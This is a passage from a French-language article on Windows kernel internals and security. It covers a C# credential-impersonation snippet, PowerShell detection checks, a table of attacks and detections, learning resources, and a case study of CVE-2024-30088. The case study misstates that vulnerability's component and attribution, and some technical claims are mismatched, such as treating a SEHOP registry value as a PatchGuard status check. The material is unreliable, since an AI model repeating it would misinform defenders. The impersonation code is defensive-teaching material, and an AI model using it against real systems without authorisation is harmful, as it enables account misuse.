     * Pass-the-Password (PtP) — Impersonation avec credentials clairs
     * Technique la plus simple — détectée facilement par les EDR/SIEM
     */
    public static void ImpersonateUser(string domain, string username, string password) {
        IntPtr hToken = IntPtr.Zero;

        bool success = LogonUser(username, domain, password,
            LOGON32_LOGON_NEW_CREDENTIALS,
            LOGON32_PROVIDER_DEFAULT,
            out hToken);

        if (!success) {
            Console.WriteLine($"[-] LogonUser failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        // Utiliser WindowsIdentity pour l'impersonation
        using (WindowsIdentity identity = new WindowsIdentity(hToken)) {
            WindowsImpersonationContext context = identity.Impersonate();
            try {
                Console.WriteLine($"[+] Impersonation réussie: {WindowsIdentity.GetCurrent().Name}");
                // Exécuter du code avec l'identité de l'utilisateur cible
                // Accès aux ressources réseau avec ces credentials
            }
            finally {
                context.Undo();
                CloseHandle(hToken);
            }
        }
    }

    /*
     * Detection hints pour les équipes Blue Team :
     * - Sysmon Event 10 (ProcessAccess) : accès au token d'un autre processus
     * - Windows Security Event 4624 : Logon (Type 3 pour réseau, Type 9 pour NewCredentials)
     * - Windows Security Event 4648 : Logon with explicit credentials
     * - ETW Microsoft-Windows-Security-Auditing : toutes les impersonations
     */
}

25. Détection et réponse aux exploits noyau

# Réponse à incident : détection d'exploitation noyau possible
# Indicateurs de compromission noyau à surveiller

# 1. Drivers chargés non signés (Sysmon Event ID 6)
Get-WinEvent -FilterHashtable @{
    ProviderName = "Microsoft-Windows-Sysmon"
    Id = 6  # Driver loaded
} | Where-Object { $_.Message -match "Signed: false" } |
    Select-Object TimeCreated, @{N="Driver";E={$_.Properties[0].Value}}

# 2. Vérifier l'intégrité du noyau via CodeIntegrity
Get-WinEvent -FilterHashtable @{
    LogName = "Microsoft-Windows-CodeIntegrity/Operational"
    Id = @(3001, 3002, 3003, 3004)
} | Format-List TimeCreated, Id, Message

# 3. Détection DKOM : processus visibles dans psscan mais pas pslist
# (Nécessite Volatility ou un outil forensique)

# 4. Vérification de la protection KPP via le registre
$kppStatus = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\kernel"
Write-Host "KernelSEHOPEnabled: $($kppStatus.KernelSEHOPEnabled)"

# 5. Monitorer les chargements de drivers avec Get-WinEvent
Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_SystemDriver'" -Action {
    $driver = $event.SourceEventArgs.NewEvent.TargetInstance
    $sig = (Get-AuthenticodeSignature $driver.PathName -ErrorAction SilentlyContinue).Status
    if ($sig -ne "Valid") {
        Write-Host "[ALERTE] Driver non signé chargé: $($driver.PathName)" -ForegroundColor Red
        # Envoyer alerte SIEM
    }
}

# 6. Vérifier si HVCI est actif (protection maximale)
$hvci = (Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
if (2 -in $hvci) {
    Write-Host "[+] HVCI (Memory Integrity) : ACTIF" -ForegroundColor Green
} else {
    Write-Host "[-] HVCI non actif — Exposition aux exploits noyau" -ForegroundColor Red
}
Checklist de sécurité noyau Windows : (1) Activer HVCI (Memory Integrity) + Secure Boot + TPM 2.0 — Protection maximale contre l'exploitation noyau. (2) Configurer Credential Guard pour protéger lsass.exe en PPL. (3) Activer la liste de blocage Microsoft Vulnerable Driver (WDAC). (4) Déployer Sysmon avec une politique complète (Events 1,3,5,6,7,8,10,11,12,13,17,18,25). (5) Surveiller les chargements de drivers via ETW CodeIntegrity. (6) Activer l'audit des privileges (Event 4672, 4673) dans le Security Event Log. (7) Tester régulièrement avec HEVD (HackSys Extreme Vulnerable Driver) dans un lab isolé pour valider la détection.

26. Architecture de détection pour les attaques noyau

Technique d'attaqueMécanismeDétection parEvent ID / SourceMITRE
Token stealingÉcriture dans EPROCESS+TokenETW-TI, EDRETW-TI ProcessAccessT1134
DKOM (hide process)Manipulation ActiveProcessLinksVolatility psscanForensique mémoireT1014
BYOVDChargement driver vulnérableSysmon EID 6CodeIntegrity 3001T1068
APC InjectionQueueUserAPC vers thread alertableEDR, ETWSysmon EID 8T1055.004
Direct SyscallSYSCALL sans ntdllETW-TIETW-TI SyscallT1055
DLL UnhookingRechargement ntdll depuis diskSysmon EID 7Image loadedT1562.001
Pool ExploitationUAF/overflow dans noyauHVCI (préventif)BSOD 0x50/0x139T1068

27. Ressources avancées pour l'apprentissage

La maîtrise de Windows Internals requiert une approche progressive et de nombreuses heures de pratique sur des systèmes contrôlés. Les ressources suivantes constituent la référence de la communauté :

Livres fondamentaux :
- Windows Internals Parts 1 & 2 — Russinovich, Solomon, Ionescu, Yosifovich
  (8e édition, 2024) — LA référence absolue
- Windows Security Internals — James Forshaw (No Starch Press, 2023)
  Couvre les tokens, ACLs, AppContainer, Windows Sandbox
- The Art of Memory Forensics — Ligh, Case, Levy, Walters
  Référence pour Volatility et la forensique mémoire

Labs pratiques :
- HackSys Extreme Vulnerable Driver (HEVD)
  github.com/hacksysteam/HackSysExtremeVulnerableDriver
  Drivers vulnérables intentionnellement pour pratiquer l'exploitation noyau

- FLARE VM — Distribution Windows pour l'analyse de malwares
  github.com/mandiant/flare-vm
  Inclut x64dbg, WinDbg, Ghidra, IDA Free, Volatility...

- Windows Research Kernel (WRK) — Source du noyau Windows 2003
  Pour comprendre les structures internes historiques

Outils d'analyse :
- WinDbg Preview (Microsoft Store) — Débogueur noyau avec interface moderne
- Process Hacker 3 / System Informer — Explorateur de processus avancé
- x64dbg — Débogueur user-mode open source
- Ghidra (NSA) — Désassembleur/décompilateur gratuit
- IDA Pro Free — Version gratuite d'IDA pour les fichiers PE

Blogs et recherches :
- Project Zero (Google) — Recherches en vulnérabilités Windows noyau
- j00ru's Security Blog — Recherches approfondies sur Windows Internals
- Alex Ionescu's blog — Auteur de Windows Internals
- Pavel Yosifovich (zodiacon) — Auteur Windows Internals Part 2
- MSRC (Microsoft Security Response Center) — Analyses techniques des CVEs

28. Comprendre le Memory Manager Windows

Le gestionnaire de mémoire Windows est l'un des composants les plus complexes et les plus critiques du noyau. Sa compréhension est indispensable pour analyser les exploits noyau, comprendre les fuites mémoire et optimiser les performances des drivers. Le Memory Manager gère la mémoire physique (RAM) et virtuelle (espace d'adressage de chaque processus), le fichier de pagination (pagefile), le cache de fichiers et les sections partagées entre processus.

L'espace d'adressage d'un processus 64-bit Windows s'étend théoriquement sur 128 TB (2^47 bytes) pour la partie user-mode et 128 TB pour le noyau, bien que dans la pratique seules quelques gigaoctets soient typiquement utilisés. La séparation entre l'espace utilisateur et l'espace noyau est appliquée par le processeur via les mécanismes de pagination : les tables de pages (PML4 → PDPT → PD → PT → Physical Frame) assurent que le mode utilisateur ne peut pas accéder aux pages noyau, sauf via les interfaces système documentées (appels système).

La Page Frame Number Database (PFN Database), référencée par le symbole noyau MmPfnDatabase, est l'une des structures les plus importantes du Memory Manager. Elle contient une entrée pour chaque page physique de RAM, indiquant son état (libre, en cours d'utilisation, modifiée, standby, mauvaise), le processus qui la possède, et les compteurs de référence. La PFN Database est une cible de choix pour les analyses forensiques en mémoire car elle permet de reconstituer l'utilisation physique de la RAM indépendamment des structures de processus potentiellement corrompues par un rootkit.

Le concept de Working Set est fondamental pour comprendre la politique de mémoire Windows. Le Working Set d'un processus est l'ensemble des pages de mémoire virtuelle actuellement en RAM physique (par opposition aux pages paginées sur disque). Le Memory Manager ajuste dynamiquement les Working Sets selon la pression mémoire globale, en retirant les pages moins récemment utilisées (LRU — Least Recently Used) de la RAM vers le fichier de pagination quand la mémoire se fait rare. Les exploits qui allouent de grandes quantités de mémoire spécifiquement pour le heap feng shui (préparation de l'exploitation du pool noyau) interagissent directement avec cette mécanique.

La gestion de la mémoire exécutable a considérablement évolué avec les versions modernes de Windows. Avec HVCI activé, la création de pages à la fois inscriptibles et exécutables (WX) est physiquement impossible au niveau hardware (la mémoire du noyau est soit écrite via un mapping XD/NX, soit exécutée, jamais les deux simultanément). Cette protection, que même le code noyau légitime de Microsoft doit respecter depuis Windows 10, élimine la classe d'exploits qui consistait à injecter du shellcode directement en mémoire noyau exécutable.

29. Thread Pool et Work Items : mécanismes noyau

Le Thread Pool du noyau Windows (également appelé Worker Thread Pool) est un mécanisme essentiel pour l'exécution asynchrone de travaux en mode noyau sans bloquer les threads appelants. Il est intensivement utilisé par les drivers et les composants système, et sa compréhension est importante pour l'analyse de malwares noyau sophistiqués qui abusent de ces mécanismes pour l'exécution de code.

Les Work Items sont des unités de travail empilées dans la queue du Thread Pool via la fonction IoQueueWorkItem ou ExQueueWorkItem. Quand un work item est déqueué par un worker thread, sa routine callback est exécutée dans le contexte de ce thread arbitraire, ce qui signifie qu'il n'est pas dans le contexte du processus original — une source classique de bugs dans le développement de drivers. Les malwares noyau qui veulent exécuter du code de manière asynchrone et difficile à tracer peuvent utiliser cette mécanique pour décorréler leur exécution de leur point d'injection initial.

Les Kernel Timers (KeSetTimer, KeSetTimerEx) et les DPC (Deferred Procedure Calls) sont des mécanismes connexes. Les DPC s'exécutent à IRQL DISPATCH_LEVEL (niveau 2), ce qui les rend invisibles à certains outils de monitoring qui opèrent à PASSIVE_LEVEL (niveau 0) ou APC_LEVEL (niveau 1). PatchGuard utilise précisément les DPC et les timer callbacks pour ses vérifications périodiques d'intégrité noyau, profitant de l'imprévisibilité de leur exécution pour rendre leur détection et leur contournement difficiles.

30. Analyse de cas réel : exploitation de CVE-2024-30088

CVE-2024-30088 est une vulnérabilité d'élévation de privilèges dans le pilote Windows Kernel Windows Common Log File System (CLFS) corrigée en juin 2024. CLFS est un composant noyau gérant un format de fichier journal structuré utilisé par diverses applications Windows. Cette vulnérabilité illustre bien les techniques d'exploitation noyau modernes et les mécanismes de détection correspondants.

La vulnérabilité réside dans la validation insuffisante des entrées dans les fonctions de traitement des fichiers journaux CLFS. Un attaquant local peut créer un fichier journal CLFS spécialement crafté qui déclenche une condition de type Use-After-Free lors de son traitement par le pilote clfs.sys. L'exploitation de ce UAF permet à un attaquant disposant de droits utilisateur standard d'obtenir des privilèges SYSTEM. Le groupe APT Lazarus (Corée du Nord) l'a utilisée dans des attaques ciblées avant la publication du correctif, dans le cadre d'opérations de cyberespionnage visant des organisations financières et de défense.

L'analyse du mécanisme d'exploitation révèle un pattern commun aux exploits noyau post-19041 : l'attaquant utilise le UAF pour obtenir une primitive d'écriture relative en mémoire noyau, puis exploite cette primitive pour corrompre un objet noyau connu (typiquement un _EPROCESS ou une entrée dans la Handle Table) afin d'obtenir une exécution de code arbitraire ou une élévation de token. La protection HVCI aurait théoriquement empêché l'exécution de shellcode injecté, mais l'attaquant utilisait uniquement des primitives d'écriture pour manipuler les structures de données noyau sans injecter de code exécutable, contournant ainsi cette protection.

La détection de l'exploitation de CVE-2024-30088 via les mécanismes de télémétrie inclut : des événements Windows Error Reporting (WER) pour les crashs clfs.sys pré-exploitation (sondage), des événements Sysmon Event ID 6 pour le chargement d'un nouveau driver (si BYOVD est utilisé en complément), et surtout des événements ETW-TI (Threat Intelligence) qui capturent les appels système inhabituels depuis des processus non-privilégiés vers des fonctions CLFS. Microsoft Defender for Endpoint dispose de règles de détection spécifiques pour les patterns d'exploitation CLFS depuis la correction de CVE-2022-24521 (variante précédente dans CLFS).

La remédiation immédiate consiste à appliquer le patch KB5039212 (ou supérieur) inclus dans les mises à jour cumulatives Windows de juin 2024. Pour les systèmes ne pouvant pas être patchés immédiatement, la mitigation temporaire consiste à bloquer l'accès à la création de fichiers CLFS depuis les processus non-administrateurs (via des règles AppLocker ou WDAC), ce qui limite considérablement la surface d'exploitation au prix d'une certaine restriction fonctionnelle pour les applications légitimes qui utilisent CLFS.

Synthèse des protections noyau modernes : L'évolution des protections noyau Windows depuis Vista (ASLR, DEP, SMEP) jusqu'à Windows 11 24H2 (HVCI, KDP, CET) a radicalement transformé le paysage de l'exploitation noyau. Chaque génération de protection a rendu obsolètes les techniques précédentes et poussé les attaquants vers des vecteurs plus sophistiqués (BYOVD, Logic Bugs, Kernel Data Attacks). La combinaison HVCI + Secure Boot + TPM 2.0 + Credential Guard sur un hardware compatible représente le niveau de protection le plus élevé actuellement accessible pour les environnements Windows en 2026. La compréhension des structures noyau présentées dans cet article est fondamentale pour concevoir, déployer et évaluer ces protections de manière éclairée.

Conclusion et prochaines étapes

La maîtrise de ces concepts est essentielle pour tout professionnel de la cybersécurité. Pour approfondir, consultez nos autres articles techniques ou contactez-nous pour un accompagnement personnalisé.

Point clé : L'expertise technique seule ne suffit pas — elle doit s'inscrire dans une démarche globale de sécurité alignée sur les objectifs métier de l'organisation.